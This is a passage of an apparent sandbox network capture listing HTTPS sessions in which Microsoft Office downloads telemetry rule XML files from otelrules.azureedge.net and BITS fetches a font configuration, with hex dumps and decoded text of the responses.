2024-11-13 13:41:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49772	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134121Z-16547b76f7fmbrhqhC1DFWkds80000000ha00000000068tn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:21 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49773	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 06750a7e-601e-000d-6c6f-352618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134121Z-1749fc9bdbdmg6wshC1DFWu2bc0000000140000000008dr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49774	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134121Z-16547b76f7fmbrhqhC1DFWkds80000000ha00000000068u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49776	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134121Z-16547b76f7fdf69shC1DFWcpd00000000h1000000000f55w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49775	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-13 13:41:21 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=97458 Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-13 13:41:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49777	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:21 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 53e82ad4-c01e-0046-11a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134121Z-1749fc9bdbdmg6wshC1DFWu2bc000000013000000000a7d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49778	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:22 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134122Z-16547b76f7fxsvjdhC1DFWprrs0000000h4g000000008fua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49779	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134122Z-16547b76f7fj897nhC1DFWdwq40000000gyg00000000h1mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49780	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:22 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134122Z-16547b76f7fwvr5dhC1DFW2c940000000h2g00000000ca2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49782	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:22 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134122Z-1749fc9bdbdnkwnnhC1DFWud04000000010000000000b0se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49781	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134122Z-16547b76f7fj897nhC1DFWdwq40000000h50000000001pe1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49783	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134123Z-16547b76f7flf9g6hC1DFWmcx800000007u0000000004rpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
